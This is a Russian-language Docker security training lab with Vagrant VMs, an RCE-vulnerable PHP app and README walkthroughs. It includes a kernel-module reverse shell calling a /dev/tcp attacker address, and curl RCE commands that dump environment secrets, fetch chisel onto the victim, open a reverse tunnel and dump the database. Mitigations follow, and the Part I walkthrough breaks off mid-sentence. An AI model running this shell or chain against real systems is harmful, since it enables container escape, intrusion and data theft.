├── .gitignore ├── PartI ├── victim │ ├── index.php │ ├── Dockerfile │ ├── init │ └── docker-compose.yml ├── hacker │ ├── Makefile │ └── reverse-shell.c ├── provision │ ├── hacker.yml │ └── victim.yml ├── Vagrantfile └── README.md ├── PartII ├── victim │ ├── index.php │ ├── init │ ├── .env │ ├── init.sql │ ├── Dockerfile │ └── docker-compose.yml ├── hacker │ ├── Makefile │ └── reverse-shell.c ├── provision │ ├── hacker.yml │ └── victim.yml ├── Vagrantfile └── README.md └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .vagrant 2 | -------------------------------------------------------------------------------- /PartI/victim/index.php: -------------------------------------------------------------------------------- 1 |

Hello world!

2 | 5 |
6 | -------------------------------------------------------------------------------- /PartII/victim/index.php: -------------------------------------------------------------------------------- 1 |

Hello world!

2 | 5 |
6 | -------------------------------------------------------------------------------- /PartI/victim/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-cli 2 | 3 | WORKDIR /app 4 | 5 | COPY index.php index.php 6 | 7 | CMD [ "php", "-S", "0.0.0.0:8080" ] 8 | -------------------------------------------------------------------------------- /PartI/victim/init: -------------------------------------------------------------------------------- 1 | #!/bin/bash -x 2 | 3 | if ! id -u web 2>/dev/hull; then 4 | useradd -M -u 1000 -s /usr/sbin/nologin -d /app web 5 | fi 6 | 7 | exec sudo -u web "$@" 8 | -------------------------------------------------------------------------------- /PartII/victim/init: -------------------------------------------------------------------------------- 1 | #!/bin/bash -x 2 | 3 | if ! id -u web 2>/dev/hull; then 4 | useradd -M -u 1000 -s /usr/sbin/nologin -d /app web 5 | fi 6 | 7 | exec sudo -E -u web "$@" 8 | -------------------------------------------------------------------------------- /PartII/victim/.env: -------------------------------------------------------------------------------- 1 | MARIADB_HOSTNAME=mariadb 2 | MARIADB_ROOT_PASSWORD=strongpassword 3 | MARIADB_DATABASE=production 4 | MARIADB_USER=prod 5 | MARIADB_PASSWORD=verystrongpassword 6 | -------------------------------------------------------------------------------- /PartI/hacker/Makefile: -------------------------------------------------------------------------------- 1 | obj-m +=reverse-shell.o 2 | all: 3 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 4 | clean: 5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 6 | -------------------------------------------------------------------------------- /PartII/hacker/Makefile: -------------------------------------------------------------------------------- 1 | obj-m +=reverse-shell.o 2 | all: 3 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 4 | clean: 5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 6 | -------------------------------------------------------------------------------- /PartI/victim/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | services: 3 | webapp: 4 | build: 5 | context: . 6 | dockerfile: Dockerfile 7 | ports: 8 | - "80:8080" 9 | cap_add: 10 | - SYS_MODULE 11 | -------------------------------------------------------------------------------- /PartII/victim/init.sql: -------------------------------------------------------------------------------- 1 | USE production; 2 | 3 | CREATE TABLE IF NOT EXISTS flag ( 4 | `id` int(11) NOT NULL auto_increment, 5 | `message` varchar(100) NOT NULL default '', 6 | PRIMARY KEY (id) 7 | ); 8 | 9 | INSERT INTO flag (message) VALUES ("Flag captured"); 10 | -------------------------------------------------------------------------------- /PartI/provision/hacker.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Provision hacker 3 | hosts: hacker 4 | become: true 5 | tasks: 6 | - name: Install required packages 7 | apt: 8 | name: 9 | - nmap 10 | - curl 11 | - build-essential 12 | - netcat 13 | state: present 14 | -------------------------------------------------------------------------------- /PartII/victim/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-cli 2 | 3 | WORKDIR /app 4 | 5 | RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/* 6 | 7 | COPY index.php index.php 8 | COPY init /usr/local/bin/ 9 | 10 | ENTRYPOINT ["/usr/local/bin/init"] 11 | 12 | CMD [ "php", "-S", "0.0.0.0:8080" ] 13 | -------------------------------------------------------------------------------- /PartII/victim/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | services: 3 | webapp: 4 | build: 5 | context: . 6 | dockerfile: Dockerfile 7 | env_file: 8 | - .env 9 | ports: 10 | - "80:8080" 11 | mariadb: 12 | image: mariadb/server:10.4 13 | env_file: 14 | - .env 15 | volumes: 16 | - ./init.sql:/docker-entrypoint-initdb.d/init.sql 17 | -------------------------------------------------------------------------------- /PartII/provision/hacker.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Provision hacker 3 | hosts: hacker 4 | become: true 5 | tasks: 6 | 7 | - name: Set a hostname 8 | hostname: 9 | name: hacker 10 | 11 | - name: Install required packages 12 | apt: 13 | name: 14 | - nmap 15 | - curl 16 | - build-essential 17 | - netcat 18 | - git 19 | - mariadb-client 20 | state: present 21 | -------------------------------------------------------------------------------- /PartI/hacker/reverse-shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | MODULE_LICENSE("GPL"); 5 | MODULE_AUTHOR("AttackDefense"); 6 | MODULE_DESCRIPTION("LKM reverse shell module"); 7 | MODULE_VERSION("1.0"); 8 | 9 | char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.56.5/4444 0>&1", NULL}; 10 | static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; 11 | 12 | static int __init reverse_shell_init(void) { 13 | return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); 14 | } 15 | 16 | static void __exit reverse_shell_exit(void) { 17 | printk(KERN_INFO "Exiting\n"); 18 | } 19 | 20 | module_init(reverse_shell_init); 21 | module_exit(reverse_shell_exit); 22 | -------------------------------------------------------------------------------- /PartII/hacker/reverse-shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | MODULE_LICENSE("GPL"); 5 | MODULE_AUTHOR("AttackDefense"); 6 | MODULE_DESCRIPTION("LKM reverse shell module"); 7 | MODULE_VERSION("1.0"); 8 | 9 | char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.56.5/4444 0>&1", NULL}; 10 | static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; 11 | 12 | static int __init reverse_shell_init(void) { 13 | return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); 14 | } 15 | 16 | static void __exit reverse_shell_exit(void) { 17 | printk(KERN_INFO "Exiting\n"); 18 | } 19 | 20 | module_init(reverse_shell_init); 21 | module_exit(reverse_shell_exit); 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SECINFO. Docker 2 | 3 | - [Part I. Root in main process](./PartI/README.md) 4 | - [Intro](./PartI/README.md#intro) 5 | - [Thesaurus](./PartI/README.md#thesaurus) 6 | - [Stand](./PartI/README.md#stand) 7 | - [Exploitation](./PartI/README.md#exploitation) 8 | - [Solution I](./PartI/README.md#solution-i) 9 | - [Solution II](./PartI/README.md#solution-ii) 10 | - [links](./PartI/README.md#links) 11 | - [Part II. Passwords in environment variable](./PartII/README.md) 12 | - [Intro](./PartII/README.md#intro) 13 | - [Thesaurus](./PartII/README.md#thesaurus) 14 | - [Stand](./PartII/README.md#stand) 15 | - [Exploitation](./PartII/README.md#exploitation) 16 | - [Solution I](./PartII/README.md#solution-i) 17 | - [Solution II](./PartII/README.md#solution-ii) 18 | - [links](./PartII/README.md#links) 19 | 20 | -------------------------------------------------------------------------------- /PartII/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | Vagrant.configure("2") do |config| 5 | 6 | config.vm.define "victim" do |victim| 7 | victim.vm.box = "debian/buster64" 8 | victim.vm.network "private_network", ip: "192.168.56.6", virtualbox__intnet: "stand" 9 | victim.vm.provision "ansible" do |ansible| 10 | ansible.extra_vars = { ansible_python_interpreter:"/usr/bin/python3" } 11 | ansible.playbook = "provision/victim.yml" 12 | end 13 | end 14 | 15 | config.vm.define "hacker" do |hacker| 16 | hacker.vm.box = "debian/buster64" 17 | hacker.vm.network "private_network", ip: "192.168.56.7", virtualbox__intnet: "stand" 18 | hacker.vm.provision "ansible" do |ansible| 19 | ansible.extra_vars = { ansible_python_interpreter:"/usr/bin/python3" } 20 | ansible.playbook = "provision/hacker.yml" 21 | end 22 | end 23 | end 24 | -------------------------------------------------------------------------------- /PartI/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | Vagrant.configure("2") do |config| 5 | 6 | config.vm.provider "virtualbox" do |vb| 7 | vb.memory = "2048" 8 | vb.cpus = 1 9 | vb.linked_clone = true 10 | end 11 | 12 | config.vm.define "victim" do |victim| 13 | victim.vm.box = "debian/buster64" 14 | victim.vm.hostname = "victim" 15 | victim.vm.network "private_network", ip: "192.168.56.4" 16 | victim.vm.provision "ansible" do |ansible| 17 | ansible.extra_vars = { ansible_python_interpreter:"/usr/bin/python3" } 18 | ansible.playbook = "provision/victim.yml" 19 | end 20 | end 21 | 22 | config.vm.define "hacker" do |hacker| 23 | hacker.vm.box = "debian/buster64" 24 | hacker.vm.hostname = "hacker" 25 | hacker.vm.network "private_network", ip: "192.168.56.5" 26 | hacker.vm.provision "ansible" do |ansible| 27 | ansible.extra_vars = { ansible_python_interpreter:"/usr/bin/python3" } 28 | ansible.playbook = "provision/hacker.yml" 29 | end 30 | end 31 | end 32 | -------------------------------------------------------------------------------- /PartI/provision/victim.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Provision victim 3 | hosts: victim 4 | become: true 5 | tasks: 6 | - name: Install required packages 7 | apt: 8 | name: 9 | - apt-transport-https 10 | - ca-certificates 11 | - curl 12 | - gnupg-agent 13 | - software-properties-common 14 | - python3-pip 15 | - libffi-dev 16 | state: present 17 | 18 | - name: Add docker's official GPG key 19 | apt_key: 20 | url: https://download.docker.com/linux/debian/gpg 21 | state: present 22 | 23 | - name: Add docker's repository 24 | apt_repository: 25 | repo: deb [arch=amd64] https://download.docker.com/linux/debian buster stable 26 | state: present 27 | update_cache: true 28 | 29 | - name: Install docker 30 | apt: 31 | name: 32 | - docker-ce 33 | - docker-ce-cli 34 | - containerd.io 35 | state: present 36 | 37 | - name: Install docker-compose 38 | pip: 39 | name: docker-compose 40 | state: present 41 | 42 | - name: Add user vagrant to docker group 43 | user: 44 | name: vagrant 45 | groups: docker 46 | 47 | - name: Create Flag-file 48 | copy: 49 | dest: /home/vagrant/FLAG 50 | content: WAS HACKED 51 | -------------------------------------------------------------------------------- /PartII/provision/victim.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Provision victim 3 | hosts: victim 4 | become: true 5 | tasks: 6 | 7 | - name: Set a hostname 8 | hostname: 9 | name: victim 10 | 11 | - name: Install required packages 12 | apt: 13 | name: 14 | - apt-transport-https 15 | - ca-certificates 16 | - curl 17 | - gnupg-agent 18 | - software-properties-common 19 | - python3-pip 20 | - libffi-dev 21 | state: present 22 | 23 | - name: Add docker's official GPG key 24 | apt_key: 25 | url: https://download.docker.com/linux/debian/gpg 26 | state: present 27 | 28 | - name: Add docker's repository 29 | apt_repository: 30 | repo: deb [arch=amd64] https://download.docker.com/linux/debian buster stable 31 | state: present 32 | update_cache: true 33 | 34 | - name: Install docker 35 | apt: 36 | name: 37 | - docker-ce 38 | - docker-ce-cli 39 | - containerd.io 40 | state: present 41 | 42 | - name: Install docker-compose 43 | pip: 44 | name: docker-compose 45 | state: present 46 | 47 | - name: Add user vagrant to docker group 48 | user: 49 | name: vagrant 50 | groups: docker 51 | 52 | - name: Create Flag-file 53 | copy: 54 | dest: /home/vagrant/FLAG 55 | content: WAS HACKED 56 | -------------------------------------------------------------------------------- /PartII/README.md: -------------------------------------------------------------------------------- 1 | # SECINFO: Docker. Part II. Passwords in environment variable 2 | 3 | ## Intro 4 | 5 | В данной части я хочу рассказать о том какую опасность несут в себе 6 | пароли сохранные в переменных окружения. И продемонстрировать 7 | техники pivoting'а позволяющие получить сетевой доступ к закрытой 8 | части инфраструктуры с хоста атакующего. 9 | 10 | Для запуска потребуется: 11 | - virtualbox 12 | - vagrant 13 | - ansible 14 | 15 | ## Thesaurus 16 | 17 | `RCE` - Remote Code Execution. 18 | 19 | `pivoting` - способ предоставления сетевого доступа к закрытой инфраструктуре с 20 | хоста атакующего. 21 | 22 | ## Stand 23 | 24 | Стенд аналогичен представленному в [Part I. Root in main process](../PartI/README.md). 25 | Так же состоит из двух виртуальных машин `hacker` и `victim` объеденных сетью. 26 | Единственная разница, что на VM `victim` в docker-окружении будет запущено 2 27 | контейнера. Уязвимое веб-приложение и БД MariaDB. При этом порты контейнера 28 | MariaDB не будут выставлены наружу. Доступ к БД можно будет получить только из 29 | контейнера с web-приложением. 30 | 31 | Настройки хостов: 32 | - `victim` IP: 192.168.56.6; 33 | - `hacker` IP: 192.168.56.7. 34 | 35 | Для запуска стенда выполните команду: 36 | ``` 37 | $ vagrant up 38 | ``` 39 | 40 | Для запуска примера выполните следующие шаги на хосте `victim`: 41 | ``` 42 | $ vagrant ssh victim 43 | vagrant@victim:~$ cd /vagrant/victim/ 44 | vagrant@victim:/vagrant/victim$ docker-compose up --build -d 45 | ``` 46 | После этого на хосте `victim` запуститься два контейнера: с уязвимым 47 | web-приложением и с БД mariadb, которая не имеет открытых, в хостовой системе, 48 | портов 49 | 50 | ## Exploitation 51 | 52 | Зайдём в VM `hacker`: 53 | ``` 54 | $ vagrant ssh hacker 55 | ``` 56 | 57 | Проверим от имени какого пользователя запущено web-приложение, для этого 58 | выполним команду `id`: 59 | ``` 60 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('id');" 61 |

Hello world!

62 | uid=1000(web) gid=1000(web) groups=1000(web) 63 |
64 | ``` 65 | 66 | Теперь получим список переменных окружения: 67 | ``` 68 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('env');" 69 |

Hello world!

70 | ... 71 | MARIADB_DATABASE=production 72 | MARIADB_HOSTNAME=mariadb 73 | MARIADB_ROOT_PASSWORD=strongpassword 74 | MARIADB_PASSWORD=verystrongpassword 75 | MARIADB_USER=prod 76 | ... 77 |
78 | ``` 79 | 80 | Как видим из листинга, в переменных окружения имеется конфигурация соединения 81 | с БД сервером. Да же есть hostname этого сервера `MARIADB_HOSTNAME`. Предположительно 82 | запущенного то же в докере на том же хосте. Проверим имеется ли сетевой доступ 83 | до этого хоста: 84 | ``` 85 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('timeout 1 bash -c \'cat < /dev/null > /dev/tcp/mariadb/3306\' && echo Open || echo Closed');" 86 |

Hello world!

87 | Open 88 |
89 | ``` 90 | 91 | Что бы не мучиться с пробросом DNS, определим IP адрес сервера mariadb: 92 | ``` 93 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('getent hosts mariadb');" 94 |

Hello world!

95 | 172.18.0.2 mariadb 96 |
97 | ``` 98 | 99 | Как мы видим у web-приложения есть сетевая связанность с сервером БД, что 100 | логично. Так в docker-контейнере нет приложения для работы с сервером БД, а 101 | запрограммировать приложение на PHP для того что бы сделать dump базы данных 102 | мне лень. Воспользуемся техникой `pivoting` для получения доступа к БД. 103 | Воспользуемся приложением [chisel](https://github.com/jpillora/chisel): 104 | ``` 105 | vagrant@hacker:~$ curl -L https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_linux_amd64.gz --output chisel.gz 106 | vagrant@hacker:~$ gzip -d chisel.gz 107 | vagrant@hacker:~$ chmod +x chisel 108 | ``` 109 | 110 | Загрузим приложение на `victim` и запустим его: 111 | ``` 112 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('curl -L https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_linux_amd64.gz --output /tmp/chisel.gz 2>&1');" 113 |

Hello world!

114 | % Total % Received % Xferd Average Speed Time Time Time Current 115 | Dload Upload Total Spent Left Speed 116 | 100 651 100 651 0 0 3518 0 --:--:-- --:--:-- --:--:-- 3518 117 | 100 3346k 100 3346k 0 0 789k 0 0:00:04 0:00:04 --:--:-- 870k 118 |
119 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('cd /tmp && gzip -d chisel.gz && chmod +x chisel');" 120 |

Hello world!

121 |
122 | ``` 123 | 124 | Запустим серверную часть chisel на хосте `hacker`, для этого откроем новый терминал и выполним: 125 | ``` 126 | $ vagrant ssh hacker 127 | vagrant@hacker:~$ ./chisel server -p 8008 --reverse 128 | 2020/11/29 15:02:22 server: Reverse tunnelling enabled 129 | 2020/11/29 15:02:22 server: Fingerprint tyWC23cR/aMoDOJKIjwdXIlzirzNP4bkS3KNRlLa78k= 130 | 2020/11/29 15:02:22 server: Listening on http://0.0.0.0:8008 131 | ``` 132 | 133 | Теперь запустим chisel на хосте `victim` при помощи команды: 134 | ``` 135 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('/tmp/chisel client 192.168.56.7:8008 R:3306:172.18.0.2:3306 2>&1');" 136 |

Hello world!

137 | 2020/11/29 15:04:51 client: Connecting to ws://192.168.56.7:8008 138 | 2020/11/29 15:04:51 client: Connected (Latency 2.219222ms) 139 | ``` 140 | 141 | Откроем ещё один терминал на `hacker`: 142 | ``` 143 | $ vagrant ssh hacker 144 | vagrant@hacker:~$ mysqldump -h 127.0.0.1 -uprod -p production 145 | Enter password: 146 | 147 | <...> 148 | LOCK TABLES `flag` WRITE; 149 | /*!40000 ALTER TABLE `flag` DISABLE KEYS */; 150 | INSERT INTO `flag` VALUES (1,'Flag captured'); 151 | /*!40000 ALTER TABLE `flag` ENABLE KEYS */; 152 | UNLOCK TABLES; 153 | /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; 154 | <...> 155 | ``` 156 | 157 | ## Solution I 158 | 159 | Единственным решением является отказать от передаче паролей через 160 | переменные окружения. Но необходимо предложить альтернативу так как 161 | эта информация необходима для формирования конфигурационных-файлов 162 | и пр. 163 | 164 | Я предлагаю сохранять конфиденциальную информацию в отдельный файл 165 | и монтировать его с правами доступа только для пользователя `root`. 166 | В момент выполнения init-скрипта эти переменные будут загружаться 167 | формироваться файлы настроек и выгружаться из окружения. 168 | 169 | Для реализации данного способа необходимо внести следующие изменения. 170 | В Dockerfile: 171 | ``` 172 | ... 173 | RUN mkdir /run/secrets && chown root:root /run/secrets && chmod 0700 /run/secrets 174 | ... 175 | ``` 176 | 177 | В init-script: 178 | ``` 179 | #!/bin/bash 180 | 181 | if [ -f /run/secrets/secrets ]; then 182 | . /run/secrets/secrets 183 | fi 184 | 185 | ... 186 | 187 | #Clean security sensitive variable 188 | if [ -f /run/secrets/secrets ]; then 189 | awk -F'=' '{if ($1!="") {print $1}}' /run/secrets/secrets | while read -r VAR; do 190 | unset "$VAR" 191 | done 192 | fi 193 | 194 | exec sudo -E -u web "$@" 195 | ``` 196 | 197 | В docker-compose.yml 198 | ``` 199 | webapp: 200 | build: 201 | context: . 202 | dockerfile: Dockerfile 203 | volumes: 204 | - ./.env:/run/secrets/secrets:ro 205 | ports: 206 | - "80:8080" 207 | 208 | ``` 209 | 210 | Внесём эти изменения и перезапустим приложение: 211 | ``` 212 | vagrant@victim:/vagrant/victim$ docker-compose stop 213 | Stopping victim_webapp_1 ... done 214 | Stopping victim_mariadb_1 ... done 215 | docker-compose up --build -d 216 | Building webapp 217 | Step 1/8 : FROM php:7.4-cli 218 | ---> 639632eff06b 219 | Step 2/8 : WORKDIR /app 220 | ---> Using cache 221 | ---> d97dd703f6bd 222 | Step 3/8 : RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/* 223 | ---> Using cache 224 | ---> c1613a4f253c 225 | Step 4/8 : RUN mkdir /run/secrets && chown root:root /run/secrets && chmod 0700 /run/secrets 226 | ---> Running in 35d2cb627010 227 | Removing intermediate container 35d2cb627010 228 | ---> df4fef6566a2 229 | Step 5/8 : COPY index.php index.php 230 | ---> 6f9695706c5c 231 | Step 6/8 : COPY init /usr/local/bin/ 232 | ---> d5184d07c478 233 | Step 7/8 : ENTRYPOINT ["/usr/local/bin/init"] 234 | ---> Running in 1a2750eaa5a8 235 | Removing intermediate container 1a2750eaa5a8 236 | ---> 46d9cdba9119 237 | Step 8/8 : CMD [ "php", "-S", "0.0.0.0:8080" ] 238 | ---> Running in 6ee1b56699e7 239 | Removing intermediate container 6ee1b56699e7 240 | ---> f78643b8c10c 241 | 242 | Successfully built f78643b8c10c 243 | Successfully tagged victim_webapp:latest 244 | Starting victim_mariadb_1 ... done 245 | Recreating victim_webapp_1 ... done 246 | ``` 247 | 248 | Попробуем теперь получить значения переменных окружения с хоста `hacker`: 249 | ``` 250 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('env | grep MARIADB');" 251 |

Hello world!

252 |
253 | ``` 254 | 255 | Как видим переменных связанных с настройкой mariadb в переменных окружения нет. 256 | Попробуем получить их непосредственно из файла `/run/secrets/secrets`: 257 | ``` 258 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('cat /run/secrets/secrets 2>&1');" 259 |

Hello world!

260 | cat: /run/secrets/secrets: Permission denied 261 |
262 | ``` 263 | 264 | Конечно это будет работать только если приложение запущенно из под 265 | не привилегированного пользователя. 266 | 267 | ## Solution II 268 | 269 | consul-template 270 | 271 | # Links 272 | 273 | - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md 274 | - https://github.com/jpillora/chisel 275 | -------------------------------------------------------------------------------- /PartI/README.md: -------------------------------------------------------------------------------- 1 | # SECINFO: Docker. Part I. Root in main process 2 | 3 | ## Intro 4 | 5 | Не мало уже сказано о том, что не следует запускать приложения в docker-контейнере из-под пользователя `root`. Данная 6 | статья должна проиллюстрировать почему не следует этого делать. 7 | 8 | Для запуска потребуется: 9 | 10 | - virtualbox 11 | - vagrant 12 | - ansible 13 | 14 | ## Thesaurus 15 | 16 | `RCE` - Remote Code Execution 17 | 18 | `Docker Container Breakout` - Выход из docker изоляции в хостовую систему. 19 | 20 | `reverse shell` - схема взаимодействия с атакуемой системой, когда shell запущенный на атакуемой системе устанавливает 21 | соединение с заранее подготовленным приложением на системе атакующего. Позволяет обойти фаервол. 22 | 23 | ## Stand 24 | 25 | Стенд представляет из себя две виртуальные машины: 26 | 27 | - жертву `victim` 28 | - атакующего `hacker` 29 | Обе выполнены на основе ОС Debian buster. 30 | 31 | На хосте `victim` в домашней директории пользователя `vagrant` создан файл `/home/vagrant/FLAG` содержащий 32 | текст `WAS HACKED`. Это сделано для более простой иллюстрации выхода из docker-контейнера. 33 | 34 | Для иллюстрации процесса `Docker Container Breakout` используется эксплуатация через модули ядра. Для реализации, 35 | которой необходимо наличие привилегии `SYS_MODULE`. Эти привилегии по умолчанию отключены. Но необходимо понимать, что 36 | Docker Container Breakout через модули это не единственный способ, здесь он используется как пример. 37 | 38 | Привелегия `cap_sys_module` может быть добавлена как непосредственно установкой флага `SYS_MODULE` в 39 | docker-compose.yml: `cap_add: ["SYS_MODULE"]` 40 | или добавлением аргумента `--cap-add SYS_MODULE` в команду `docker run`. Так и при добавлении аргумента `--privileged` в 41 | команду `docker run`. 42 | 43 | Для взаимодействия между хостами `victim` и `hacker` организована сеть 192.168.50.0/24. Настройки хостов: 44 | 45 | - `victim` IP: 192.168.56.4; 46 | - `hacker` IP: 192.168.50.5. 47 | 48 | Для запуска стенда выполните команду: 49 | 50 | ``` 51 | $ vagrant up 52 | ``` 53 | 54 | ## Prepare 55 | 56 | Перед тем как продолжить выполнение команд вам нужно будет убедиться, что вы сможете найти пакет с заголовками ядра для 57 | текущей версии ядра. Это можно сделать двумя способами на ваш выбор. 58 | 59 | Проверяем: 60 | 61 | ```bash 62 | $ vagrant ssh hacker 63 | vagrant@hacker:~$ apt-cache policy linux-headers-$(uname -r) 64 | # если для вашей версии нет заголовков, то вы получите подобное сообщение об ошибке: 65 | N: Unable to locate package linux-headers-4.19.0-9-amd64 66 | # если же ошибок не возникло, то данный пункт можно пропустить 67 | ``` 68 | 69 | Исправляем одним из вариантов (первый сложнее второй легче, но менее интересный): 70 | 71 | 1) подключив к вашей виртуальной машине архивные репозитории Зная вашу версию ядра (получено на предыдущем этапе) вы 72 | можете найти необходимый вам пакет здесь: https://snapshot.debian.org/archive/debian/ 73 | Выбрав примерное время существования этого пакета (можно изучить release notes), вы выбираете необходимый год месяц и 74 | время. И далее проверяете наличие пакета в репозитории, скачивая файл packages.gz и проверяете, что в этом файле есть 75 | нужный вам пакет. 76 | https://snapshot.debian.org/archive/debian/20200601T024402Z/dists/buster/main/binary-amd64/Packages.gz. 77 | Если вы успешно нашли нужный файл, до можно добавить этот репозиторий в sources.list, например для пакета 78 | linux-headers-4.19.0-9: 79 | 80 | ```bash 81 | echo "deb https://snapshot.debian.org/archive/debian/20200601T024402Z buster main" >> /etc/apt/sources.list 82 | apt update 83 | apt-cache policy linux-headers-$(uname -r) 84 | ``` 85 | 86 | 2) обновив ядро и заголовки на обоих виртуальных машинах 87 | 88 | ```bash 89 | $ vagrant ssh victim 90 | vagrant@victim:~$ sudo apt -y install linux-headers-amd64 linux-image-amd64 91 | vagrant@victim:~$ sudo reboot 92 | $ vagrant ssh hacker 93 | vagrant@hacker:~$ sudo apt -y install linux-headers-amd64 linux-image-amd64 94 | vagrant@hacker:~$ sudo reboot 95 | ``` 96 | 97 | Для запуска примера эксплуатации RCE внутри docker образа с выходом в хостовую систему, выполните следующие шаги: 98 | 99 | ``` 100 | $ vagrant ssh victim 101 | vagrant@victim:~$ cd /vagrant/victim/ 102 | vagrant@victim:/vagrant/victim$ docker-compose up -d 103 | ``` 104 | 105 | Посмотрим от имени какого пользователя запущен процесс с pid 1 в запущенном контейнере: 106 | 107 | ``` 108 | vagrant@victim:/vagrant/victim$ docker-compose exec webapp bash 109 | root@ef07105a20f9:/app# ls -l /proc/1 110 | total 0 111 | dr-xr-xr-x 2 root root 0 Nov 26 17:14 attr 112 | ... 113 | ``` 114 | 115 | Владелец файлов в директории `/proc/` аналогичен владельцу самого процесса. Это способ определить владельца в 116 | случае если `ps` не установлен. 117 | 118 | ## Exploitation 119 | 120 | Так как при использовании docker ядро используеться из хостовой системы, то операции с ядром (например загрузка модуля) 121 | выполняються сразу во всех контейнерах и хостовой системе. 122 | 123 | Зайдём в VM `hacker`: 124 | 125 | ``` 126 | $ vagrant ssh hacker 127 | ``` 128 | 129 | Проверим от имени какого пользователя запущено web-приложение, для этого выполним команду `id`: 130 | 131 | ``` 132 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');" 133 |

Hello world!

134 | uid=0(root) gid=0(root) groups=0(root) 135 |
136 | ``` 137 | 138 | Сообщение говорит нам о том, что процесс, в контексте которого мы выполняем наши команды, запущен от имени пользователя 139 | root. 140 | 141 | Проверим доступность команды `capsh`, которая позволит нам просмотреть доступные нам разрешения: 142 | 143 | ``` 144 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('whereis capsh');" 145 |

Hello world!

146 | capsh: 147 |
148 | ``` 149 | 150 | Команда capsh не найдена. Установим ее: 151 | 152 | ``` 153 | vagrant@hacker:~$ curl -G 192.168.56.4 \ 154 | --data-urlencode "code=system('apt-get update && apt-get install -y libcap2-bin kmod');" 155 | ... 156 | ``` 157 | 158 | Теперь посмотрим доступные разрешения: 159 | 160 | ``` 161 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('capsh --print');" 162 |

Hello world!

163 | Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip 164 | Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap 165 | Securebits: 00/0x0/1'b0 166 | secure-noroot: no (unlocked) 167 | secure-no-suid-fixup: no (unlocked) 168 | secure-keep-caps: no (unlocked) 169 | uid=0(root) 170 | gid=0(root) 171 | groups= 172 |
173 | ``` 174 | 175 | Наличие в выводе `cap_sys_module` говорит о том что мы можем воспользоваться специально подготовленным модулем для 176 | запуска revers shell на атакуемой системе. 177 | 178 | Соберём специально подготовленный модуль для получения shell на хостовой системе. 179 | 180 | Так как хосты `victim` и `hacker` имеют одну и туже ОС, то мы можем откомпилировать модуль на хосте `hacker` и записать 181 | его на хост 182 | `victim` через RCE. Для сборки модуля выполним следующие команды: 183 | 184 | ``` 185 | vagrant@hacker:~$ cd /vagrant/hacker 186 | vagrant@hacker:/vagrant/hacker$ sudo apt-get install linux-headers-`uname -r` 187 | vagrant@hacker:/vagrant/hacker$ make 188 | make -C /lib/modules/4.19.0-9-amd64/build M=/vagrant/hacker modules 189 | make[1]: Entering directory '/usr/src/linux-headers-4.19.0-9-amd64' 190 | CC [M] /vagrant/hacker/reverse-shell.o 191 | Building modules, stage 2. 192 | MODPOST 1 modules 193 | CC /vagrant/hacker/reverse-shell.mod.o 194 | LD [M] /vagrant/hacker/reverse-shell.ko 195 | make[1]: Leaving directory '/usr/src/linux-headers-4.19.0-9-amd64' 196 | ``` 197 | 198 | Загрузим эксплоит на хост `victim`. Для этого передадим файл в теле HTTP запроса. Но так как наш эксплоит работает с 199 | аргументом `code`, который передается только в качестве GET аргумента. И целевая программа 